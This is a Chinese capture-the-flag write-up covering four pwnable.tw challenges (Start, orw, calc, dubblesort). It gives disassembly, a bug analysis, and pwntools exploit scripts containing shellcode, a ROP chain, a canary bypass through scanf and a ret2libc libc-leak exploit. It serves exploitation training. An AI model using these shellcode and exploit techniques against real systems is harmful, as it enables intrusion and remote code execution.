pwnable.tw 題解一 Start orw calc doublesort

0x01 Start

checksec 的時候可以看到程序沒有打開任何的安全保護措施,然后查看IDA下的匯編代碼,可以看出,從棧上打印字符串實際上是操作的ecx,所以我們首先send的payload先把當前esp的地址leak出來(此時保存的是指向ret位置的地址),然后再次發送的payload中包含了20個字符a填充緩沖區,剛才leak出的地址,shellcode即可得到shell。

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    ':FTC'
.text:08048073                 push    ' eht'
.text:08048078                 push    ' tra'
.text:0804807D                 push    'ts s'
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len    // 這里是之前push的字符串的長度
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h       //  這里是恢復esp
.text:0804809C                 retn                   // 恢復后 pop eip, 執行offset _exit退出
.text:0804809C _start          endp ; sp-analysis failed

解題腳本:

from pwn import *
p = remote("chall.pwnable.tw",10000)
p.recvuntil(":")
ret = 0x08048087
payload = 'a' * 20 + p32(ret)
p.send(payload)
leak = p.recv(4)
leak = u32(leak)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
pay2 = 'a'*20 + p32(leak+20)  + shellcode
p.send(pay2)
p.interactive()

0x02 orw

根據hint查看linux系統調用:主要還是對匯編語言能力的考察,

"""
                eax                     ebx                             ecx
3   sys_read    0x03    unsigned int fd char __user *buf            size_t count
4   sys_write   0x04    unsigned int fd const char __user *buf      size_t count
5   sys_open    0x05    const char __user *filename int flags       int mode
"""


from pwn import *

s = remote('chall.pwnable.tw',10001)

shellcode = ''

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():

    recv = s.recvuntil(':')

    print recv

    s.sendline(shellcode)

    flag = s.recv()
    print flag

pwn()

-【linux 系統調用】http://syscalls.kernelgrok.com/

0x03 calc

以下內容整理主要摘自http://www.freebuf.com/articles/others-articles/132283.html

首先大概運行了下程序,是一個類似于計算器的功能,然后IDA-F5查看

主要函數calc

unsigned int calc()
{
  int ini_pool; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char expr_str; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&expr_str, 0x400u);        //為用戶輸入的字符串分配空間
    if ( !get_expr(&expr_str, 1024) )
      break;
    init_pool(&ini_pool);            // 后續分析中可以看出來ini_pool存儲的是操作數和最終結果
    if ( parse_expr((int)&expr_str, &ini_pool) )
    {
      printf((const char *)&unk_80BF804, v2[ini_pool - 1]);   //輸出最終結果
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

//打印結果相關的代碼
 
.text:080493F6                 mov     eax, [ebp+ini_pool]
.text:080493FC                 sub     eax, 1
.text:080493FF                 mov     eax, [ebp+eax*4+var_59C]  //ebp+var_5A0的位置為initpool[0],ebp+var_59C的位置為initpool[1] 即 initpool[1+initpool[0]-1]=initpool[initpool[0]]
.text:08049406                 mov     [esp+4], eax
.text:0804940A                 mov     dword ptr [esp], offset unk_80BF804
.text:08049411                 call    printf

parse_expr函數


  v11 = __readgsdword(0x14u);
  cur_expr = expr;
  v7 = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  { 
    if ( (unsigned int)(*(char *)(i + expr) - 48) > 9 )// 如果是操作符進入
    {
      v2 = i + expr - cur_expr;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, cur_expr, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )                   // 最左不是為0
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      num_left = atoi(s1);                      // 轉換為int型
      if ( num_left > 0 )
      {
        count = (*initpool)++;
        initpool[count + 1] = num_left;
      }
      if ( *(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      cur_expr = i + 1 + expr;
      if ( operator[v7] )                       // 判斷上一操作符是不是為0,如果為0,說明當前是第一個操作符,繼續取數字運算,若不是,則對著以前的表達式進行計算
      {
        switch ( *(char *)(i + expr) )
        {
          case 37:
          case 42:
          case 47:
            if ( operator[v7] != 43 && operator[v7] != 45 )
            {
              eval(initpool, operator[v7]);
              operator[v7] = *(_BYTE *)(i + expr);
            }
            else
            {
              operator[++v7] = *(_BYTE *)(i + expr);
            }
            break;
          case 43:
          case 45:
            eval(initpool, operator[v7]);
            operator[v7] = *(_BYTE *)(i + expr);
            break;
          default:
            eval(initpool, operator[v7--]);
            break;
        }
      }
      else                                      // 如果為數字的話就+1,什么都不做。
      {
        operator[v7] = *(_BYTE *)(i + expr);
      }
      if ( !*(_BYTE *)(i + expr) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(initpool, operator[v7--]);
  return 1;
}




_DWORD *__cdecl eval(_DWORD *initpool, char operator)
{
  _DWORD *result; // eax

  if ( operator == 43 )
  {
    initpool[*initpool - 1] += initpool[*initpool];            // 將結果存儲在initpool[initpool[0]-1],
  }                                                            // initpool 有三個元素,操作數數量,兩個操作數
  else if ( operator > 43 )
  {
    if ( operator == 45 )
    {
      initpool[*initpool - 1] -= initpool[*initpool];
    }
    else if ( operator == 47 )
    {
      initpool[*initpool - 1] /= initpool[*initpool];
    }
  }
  else if ( operator == 42 )
  {
    initpool[*initpool - 1] *= initpool[*initpool];
  }
  result = initpool;
  --*initpool;
  return result;
}
漏洞分析

在上面的分析中我們可以知道,雖然eval函數看似每次都將運算結果放在initpool[1]中,但是實際上這個下標“1”是由initpool[0]-1得到的。由于正常的運算中initpool[0]總是等于2,因此我們總能將運算結果放到initpool[1]中,并最終將initpool[1]的值作為整個運算表達式的運算結果返回給用戶。可是實際上,我們返回的是initpool[initpool[0]]的值。若我們能改變initpool[0]的值為任意值,那么我們就有可能泄露棧上的某個位置的值,甚至能通過運算改變該位置的值。

我們知道,initpool[0]的初始值為0,并且initpool[0]在此時被修改

      if ( num_left > 0 )
      {
        count = (*initpool)++;
        initpool[count + 1] = num_left;
      }

如果我們構造畸形表達式+300的話,initpool[initpool[0] - 1] = initpool[0] + initpool[1] = 301,最后initpool[0]自減1,因此,輸出給用戶的最終值為initpool[300]。這樣就泄露了棧上ebp-5A0h+300=ebp-1140位置里的值。 +300+1 實際上計算的是initpool[301 - 1] = initpool[301 - 1] + 1

由于ebp-5A0h到ebp-0Ch這段棧空間都被initpool和s覆蓋,每次循環都會被清0,因此我們找到ebp-0Ch這個4字節棧單元來測試。該空間為initpool[357]

int ini_pool; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char expr_str; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]


 ret_address
【 old_ebp 】<-- new_ebp                initpool[360] 高地址
               ebp-4
               ebp-8
v4             ebp-c   cannary
expr_str       ebp-40c
v2[100];       ebp-59c
ini_pool       ebp-5a0  (1440字節) 
0x400
esp            new_ebp - 5b8                          低地址  

對照下面的棧布局的圖:
image

可以看到,在輸入+361后,程序返回134517913,即0×08049499。查看IDA,在main函數中,調用calc函數的下一條匯編指令為mov指令,它的地址即為0×08049499

漏洞利用

思路: 通過不斷地輸入畸形運算表達式來修改棧空間內函數返回地址及其之后的值,最終實現棧溢出攻擊。

由于目標系統開啟了NX,無法直接在棧上執行shellcode,而且使用objdump命令可知,該程序是完全靜態鏈接的(下圖),因此我們首先考慮的就是使用ROP技術來想辦法調用execve(“/bin/sh”)來啟動Linux shell,再通過cat命令查看flag的內容。

若想調用execve(“/bin/sh”),則需要構造一個ROP鏈來創建場景。我個人一直認為ROP是安全領域里的一項十分有藝術性的技術,它的思路很巧妙,也能激發攻守雙方的頭腦風暴。

我們知道,在制作shellcode時,通常使用int 80h來調用某個系統函數,而int 80h這條指令,往往是通過eax寄存器的值來判斷調用哪個系統函數,且通過ebx、ecx、edx等寄存器來存放要調用的系統函數的參數。

在本題的場景中,execve函數的系統調用號為11,也就是說,我們在調用int 80h之前,需要將eax的值置為11。同時,execve函數共有三個參數,其中在這里只有第一個參數“/bin/sh”有用,而另外兩個參數可為0。這樣一來,我們就需要構建ROP鏈,將寄存器場景變為:

eax=11

ebx=“/bin/sh”字符串的地址

ecx=0

edx=0

ROP鏈是由若干條ROP“小部件”組成的,其中每個“小部件”都是一個以“ret”指令結尾的匯編指令片段,而這些ROP鏈的位置都不在棧上,而在程序的可執行的段內(如.text段)。比如“pop eax; ret”就是一個“小部件”,它的功能是將當前棧頂的數值彈出并放入eax中,并返回到棧頂內的值指向的地址去繼續執行程序。只要我們將每個“小部件”的地址從函數返回值處開始依次存入棧中,程序就會依次跳到每個“小部件”上執行相應的代碼,此時棧空間內的每個單元的數據就相當于程序的指明燈,告訴程序該去哪里執行,而不會在棧上執行任何代碼。

我使用ROPgadget這個工具來生成ROP小部件,從而構建ROP鏈。
命令為./ROPgadget.py --binary ./calc > ~/ropgadget,
為了將eax的值置為11,我找到了“pop eax; ret”(地址為0x0805c34b)這個小部件,通過將棧上值11彈出并存入eax來修改eax的值;而后,為了將edx置為0,我找到了“pop edx; ret”(地址為0x080701aa)這個小部件,原理相同;最后,我通過“pop ecx; pop ebx; ret”(地址為0x080701d1)這個小部件將ecx和ebx的值置為0和“/bin/sh”字符串的地址。我們要構建的ROP鏈在棧上的情況如下:

image

分析清楚了要構造的場景,剩下的就靠我們通過輸入的畸形表達式來計算并設置initpool的361~370這十個棧單元。對于每一個棧單元,我們首先獲取其內的值,而后計算該值與目標值的差,最后相減即可。比如我們要將362位置上的值變為11,首先輸入“+362”得到當前362棧單元的值135184896,然后計算135184896-11=135184885,最后輸入“+362-135184885”將棧內值修改為11。

其中唯一比較麻煩的是“/bin/sh”字符串地址的獲取。它是一個棧上的地址,而我們目前暫時無法知道棧的基址。但是別忘了,在當前棧內的某個空間保存這一個棧的地址,那就是當前ebp所指向棧的基址內的值,這個值是main函數的ebp值,也就是main函數的棧基址。那么我們只要知道main函數基址與calc函數基址的關系就可通過main函數基址計算出“/bin/sh”字符串的地址。由下圖可以看出,main函數的棧空間大小由main函數的基址決定,大小值為:

main_stack_size=main_ebp&0xFFFFFF0 - 16

這是main函數的棧分配的情況:

.text:08049452                 push    ebp
.text:08049453                 mov     ebp, esp
.text:08049455                 and     esp, 0FFFFFFF0h
.text:08049458                 sub     esp, 10h

目前可知“/bin/sh”字符串的地址(369)與返回地址(361)之間的距離為8,而main函數棧基址與返回值之間的距離為:

d_mainebp_ret=main_stack_size/4 + 1

也就推得“/bin/sh”字符串的地址為:

addr_binsh=main_ebp+(8-d_mainebp_ret)*4

from pwn import *

HOST = 'chall.pwnable.tw'

PORT = 10100

vals=[0x0805c34b,11,0x080701aa,0,0x080701d1,0,1,0x08049a21,0x6e69622f,0x0068732f]

con = remote(HOST,PORT)

print con.recv()

start=361

for i in range(0,6):

    con.send('+'+str(start+i)+'\n')

    val=int(con.recv(1024))

    diff=vals[i]-val

    if diff<0:

        con.send('+'+str(start+i)+str(diff)+'\n')

    else:

        con.send('+'+str(start+i)+'+'+str(diff)+'\n')

    resl=int(con.recv(1024))

    print (str(start+i)+': '+'%s'%hex(resl))


# 布局棧361 -367上的gadget和數據


""" 
mebp+0×100000000是因為recv到的mebp是棧上的地址,被識別為負數,所以加上0×100000000修正,它表示main函數的基地址。
(mebp+0×100000000)&0xFFFFFFF0-16這個運算得到的是main函數的esp,
因此main函數的棧空間大小為mstacksize=mebp+0×100000000-((mebp+0×100000000) & 0xFFFFFFF0-16)。
所以main函數棧基址與返回地址(361)之間的距離為d_mainebp_ret=main_stack_size/4 + 1
"""

con.send('+360'+'\n')

mebp=int(con.recv(1024))

mstacksize=mebp+0x100000000-((mebp+0x100000000) & 0xFFFFFFF0-16)

bin_sh_addr=mebp+(8-(24/4+1))*4

con.send('+367'+'\n')

val_367=int(con.recv(1024))

diff_367=bin_sh_addr-val_367

con.send('+367'+str(diff_367)+'\n')

resl=int(con.recv(1024))+0x100000000

print ('367: '+'%s'%hex(resl))

for i in range(7,10):

    con.send('+'+str(start+i)+'\n')

    val=int(con.recv(1024))

    diff=vals[i]-val

    if diff<0:

        con.send('+'+str(start+i)+str(diff)+'\n')

    else:

        con.send('+'+str(start+i)+'+'+str(diff)+'\n')

    resl=int(con.recv(1024))

    print (str(start+i)+': '+'%s'%hex(resl))

con.send('Give Me Shell!\n')

con.interactive("\nshell# ")

con.close()

-【參考鏈接】http://www.freebuf.com/articles/others-articles/132283.html

0x04 doublesort

以下內容主要整理摘自http://www.freebuf.com/articles/others-articles/134271.html

IDA-F5查看反匯編:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int count; // eax
  int *cur_num_addr; // edi
  unsigned int v5; // esi
  int v6; // ecx
  unsigned int v7; // esi
  int v8; // ST08_4
  int result; // eax
  int v10; // edx
  unsigned int v11; // et1
  unsigned int sum; // [esp+18h] [ebp-74h]
  int nums; // [esp+1Ch] [ebp-70h]
  char name; // [esp+3Ch] [ebp-50h]
  unsigned int v15; // [esp+7Ch] [ebp-10h]

  v15 = __readgsdword(0x14u);
  time();
  __printf_chk(1, "What your name :");
  read(0, &name, 0x40u);
  __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &sum);
  count = sum;
  if ( sum )
  {
    cur_num_addr = &nums;
    v5 = 0;
    do
    {
      __printf_chk(1, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", cur_num_addr);
      ++v5;
      count = sum;
      ++cur_num_addr;
    }
    while ( sum > v5 );
  }
  sort((unsigned int *)&nums, count);
  puts("Result :");
  if ( sum )
  {
    v7 = 0;
    do
    {
      v8 = *(&nums + v7);
      __printf_chk(1, "%u ");
      ++v7;
    }
    while ( sum > v7 );
  }
  result = 0;
  v11 = __readgsdword(0x14u);
  v10 = v11 ^ v15;
  if ( v11 != v15 )
    sub_BA0(v6, v10);
  return result;
}

checksec一下,真是一個質量好的產品:(

nevv@nevv:~/Desktop$ checksec dubblesort 
[*] '/home/nevv/Desktop/dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

仔細觀察我們發現在輸入數組的時候并沒有判斷當前數組的長度,這就可能導致溢出,并且在排序后的數組和之前的數組共用棧空間。

  高地址  ebp
  cannary esp+7ch 
  name    esp+3ch
  nums    esp+1ch
  低地址  esp

由于溢出的話會覆蓋掉cannary的值,所以我們要繞過cannary的區域,注意到scanf函數結束后的格式化字符串是無符號數,所以當遇到不是這個格式的數的時候scanf會認為輸入非法直接退出,而會繼續進行循環。


image

當在第五個數的 位置輸入“f”這個非法字符時,之后的所有輸入自動結束,并且從該位置之后的數據被泄露出來。這個原因我思索了好久,最后發現,這是因為scanf函數接收的數據格式為無符號整型(%u),而程序在檢測到stdin中的字符是“f”時,將其視為非法輸入,于是本次的scanf函數執行失敗,原棧上對應位置的數據也沒有被改變。在下一次循環執行到scanf時,程序又到stdin中取數據,這時,上次輸入的“f”由于非法并沒有被取走,它還在stdin中存在著,因此scanf的輸入又失敗了……至此往后的每次循環,scanf都去取stdin中的這個“f”,然后每次都失敗,于是從第五個位置往后的所有棧上數據都不會被修改,且在程序最后被泄露出來。

“+”和“-”可以達到此目的,因為這兩個符號可以定義正數和負數,所以會被識別為合法字符。在scanf接收無符號整型的數據時,只輸入“+”或“-”不會進行存儲操作,比如輸入“+4”會被識別為4,而“-4”則會將其轉為正數輸出(%u的原因)。測試如下圖:

#include<stdlib.h>
int main(){
    unsigned int a=55;
    scanf("%u",&a);
    printf("a is: %u\n", a);
    return 0;
}

nevv@nevv:~/Desktop$ ./a.out 
3
a is: 3
nevv@nevv:~/Desktop$ ./a.out 
+
a is: 55
nevv@nevv:~/Desktop$ 

由上圖可以看出來+和-可以跳過scanf的%u檢查并不改變a的值。

至此,我們可以解決canary繞過的問題了。canary距離待輸入數據的起始位置為(esp+0x7c)-(esp+0x1c)+4=100字節,100/4=25個棧空間。也就是說,當我們要輸入第25個數據時輸入“+”或者“-”就可以保持canary不變,從而繞過函數最后的canary檢查,實現棧上任意位置的寫入。

libc地址的泄露

那么我們要往棧上寫入什么數據呢?前文提到,題目給了libc庫文件libc.so.6,這就暗示我們可以通過ret2libc的方式來進行棧溢出。該方法的利用方式是,修改棧上函數返回值地址,將其變為libc庫中某函數的地址(如system函數),從而達到獲取系統shell等目的。

我們可以修改棧上的main函數返回值為libc中的system函數地址,并在參數對應的位置寫入“/bin/sh”字符串的地址,從而使程序跳轉到system函數,并執行shell。所期望的溢出后的棧空間如下圖:

image
低地址
被調用函數的參數
被調用函數的返回地址
調用函數的ebp
被調用函數的局部變量
高地址
image

從圖中可以看出,我們要溢出的數據總共35個棧空間,其中第25個棧空間的canary通過輸入“+”保持其值不變;第33個棧空間寫入system函數的地址;第34個棧空間是system函數的返回地址,由于我們無需考慮system返回后的工作,次數據可任意填寫;第35個棧空間需寫入“/bin/sh”字符串的地址。現在的主要問題是,如何獲取system函數和“/bin/sh”字符串的地址?

首先我們通過gdb調試發現,在ebp+4(main函數返回地址)的位置存放了一個libc中的函數地址__libc_start_main(main函數執行完后返回至該函數),可通過多次執行程序泄露該位置數據來判斷libc地址是否隨機,即目標系統是否開啟ASLR。由上圖可知,ebp+4的位置是從nums[0]開始的第33個棧空間,因此我們通過多次輸入來泄露該位置的值,然后發現目標系統開啟了ASLR,

我們知道,在ASLR開啟的情況下,堆棧地址和libc的地址都是隨機的,那么我們如何獲取libc中函數的地址呢?通過在輸入數字時輸入“+”來泄露棧上數據的方法開上去可行,但每次泄露后程序就結束了,下次再執行程序時libc的地址又改變了,無法通過這種泄露來獲取當前進程空間的libc地址并進行利用。因此我們要通過其它的手段來在程序執行的過程中泄露libc地址。

我們發現,程序在用printf函數輸出歡迎字符串“Hello….”的時候格式為%s,大家知道,printf在做格式化輸出字符串時,是以0×00(null)為結尾來判斷字符串結束,可是在我們輸入用戶名name的時候,程序是用read來接收的,它并不會自動為我們輸入的字符串補0。當我們輸入“mike”這4個字符并敲回車后,真正傳給程序的是“mike\n”這樣一個5字節的字符串。程序在接收這個字符串后將這五個字符保存在棧上的esp+0x3c的位置,但這五個字符之后是否跟著0×00就不得而知了。根據上面的輸出我們大致可以猜到,“Hello mike”之后的換行應該是我們輸入的回車(“\n”)導致的,而下一行一開始的幾個不可見字符,應該是棧上緊跟著換行符后面的數據。也就是說,我們通過輸入,無意中泄露了棧上的數據!

這是一個好消息,因為我們可能可以在覆寫棧上數據之前泄露出libc的地址。那么name之后的64字節地址空間中是否含有libc中的地址呢?

通過gdb調試,我們發現在name后的第7個棧單元保存著一個疑似libc中的地址0xf7fb1000:

那么此時的libc基址是多少呢?該地址又是否是libc上的地址呢?我首先通過 info sharedlibrary命令來獲取libc的地址:

image

圖中可以看出,libc.so.6的地址空間為0xf7e16750到0xf7f4204d,好像并不包括我們上面可泄露的地址0xf7fb1000。我又用vmmap命令(info proc mappings命令亦可)查看libc在內存中的加載情況:
image

info sharedlibrary顯示的地址范圍為libc-2.23.so文件的.text段在內存中的地址范圍,而vmmap顯示的為libc-2.23.so文件加載到內存中的全部地址空間

image

首先通過hexdump命令驗證了0xf7dff000確實為libc-2.23.so加載在內存中的起始地址(可清楚地看到ELF頭部標志)。之后通過readelf -S命令查看libc-2.23.so文件的.text段偏移(0×17750),將其加上起始地址0xf7dff000即為0xf7e16750。驗證成功。這個小實驗和本題關系不大,但是能告訴大家如何在gdb調試時更加清楚地查看libc基址。

回到問題開始,0xf7fb1000這個地址確實在libc加載在內存中的地址范圍內(0xf7dff000到0xf7fb2000),它的偏移是0xf7fb1000-0xf7dff000=0x1b2000,那么我們就可以泄露這個地址并減去它相對于libc基地址的偏移來動態獲取libc的基址。可是事情并沒有這么簡單,在我寫好exp后,怎么執行都無法獲取shell,最后發現是這個偏移出了問題。因為我自己的libc庫和目標系統的libc庫不一樣,偏移也就不同!那么真正的偏移是多少呢?

我們再用readelf命令來看看0x1b2000這個偏移在我的libc中的位置:


image

從上圖可以看出,該偏移是.got.plt節相對于libc基址的偏移,那么我們再來看看題目中給的目標系統的libc文件的節情況:


image

可以看出,.got.plt節的偏移為0x1b0000,并不等于我們之前得到的0x1b2000。而system函數的偏移和“/bin/sh”字符串在libc中的偏移我們可以通過readelf -s命令和二進制編輯器HxD得到:
image

這樣一來,我們就可以得到libc基址、system函數地址以及“/bin/sh”字符串的地址:

  • addr_libc=addr_leak-0x1b0000

  • addr_system=addr_libc+0x3a940

  • addr_shell=addr_libc+0x158e8b

漏洞利用

有了以上的分析,漏洞利用的實現就簡單多了。

首先我們要泄露name后第6個棧單元上的數據(.got.plt節地址)。由分析可知,該單元距離name的初始地址為24字節,因此我們至少要發送24字節的冗余數據。經測試后發現,該棧單元的數據的第一個字節(即.got.plt節地址的最后一個字節,因為小端序)總為0×00,因此若要泄露該數據,需要多發送一個字節覆蓋掉0×00,否則printf會將0×00之后的數據截斷。可以發送’A'*24+’\n’來泄露出該數據的后三個字節,減去回車符的0x0a即可。

之后就可以根據泄露的地址推算出system函數和“/bin/sh”字符串在內存中的地址。需要注意的是,程序在執行過程中會將所有數據排序,因此我們需要在輸入數據時注意數據的大小,這并不難,具體做法是將canary之前的數據都置0,canary和返回地址之間(包括返回地址)的數據都寫入system函數的地址(canary隨機數大部分時間都小于system地址,除非人品不好),而最后兩個棧單元都寫入“/bin/sh”字符串的地址即可。配置好的棧結構如下:

image

在通過上述方式獲取system函數地址以及“/bin/sh”的地址后,我們就可以構造shellcode了。這里需要注意,我們輸入的數據會在排序時,按大小順序在內存中打亂。為此,在構造數據時,我們可以將前24個數據輸入0,第25個數據輸入“+”號保持其為canary的值,第26至第34個數據置為system函數的地址,第35個數據置為“/bin/sh”的地址,這樣輸入的數據正好都是按大小順序排列的,所以在之后的排序中也不會被打亂順序。

EXP:
# coding:utf-8
from pwn import *

HOST = "chall.pwnable.tw"

PORT = 10101

system_offset = 0x3a940
bin_sh_offset = 0x158e8b

con = remote(HOST,PORT)

con.recvuntil("What your name :")
con.sendline('A'*24)
rec = u32(con.recvuntil(',')[30:34])   # 打印的時候會有‘hello ’,所以要加上這部分的長度6,24+6=30
libc_base = rec -0xa - 0x1b0000   # 0x1b0000這個偏移是在本地調試過程中算出來的 
system_addr = libc_base + system_offset
print "system_addr:   ",system_addr
bin_sh_addr = libc_base + bin_sh_offset
print "bin_sh_addr:   ",bin_sh_addr
con.sendline('35')
con.recv(1024)

for i in range(24):
    con.sendline('0')
    con.recv(1024)
con.sendline('+')
con.recv(1024)
for i in range(25,34):
    con.sendline(str(system_addr))
    con.recv(1024)
con.sendline(str(bin_sh_addr))
con.recv()
con.interactive("nevv#")
con.close()


總結

程序如果能夠泄露棧上的信息的話,有一些重要數據獲取回來對pwn有關鍵對的幫助作用。

  1. libc_start_main的返回地址(容易忘記,而且可以省一步libc的泄露)
  2. cookies開啟了cannary的程序來說很有用
  3. 程序基址對于開啟了PIE的程序來說很有用
  4. scanf函數在%u中特殊字符的處理

【參考鏈接】:

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,419評論 0 2
  • 0x01 fd 文件描述符 0、1、2分別代表標準輸入、標準輸出和標準錯誤,所以輸入0x1234的十進制值,再次...
    Nevv閱讀 5,874評論 0 6
  • 參考了這篇writeup http://dogewatch.github.io/2017/04/10/pwnabl...
    Robin_Tan閱讀 3,320評論 1 1
  • 還是和linux下溢出利用對比。 開啟了DEP后,棧的內存空間變成不可執行,無法再把shellcode布置其中然后...
    BJChangAn閱讀 1,684評論 0 0
  • Topic: How do you improve your spoken englishi in future?...
    緋月魔鈴閱讀 415評論 0 0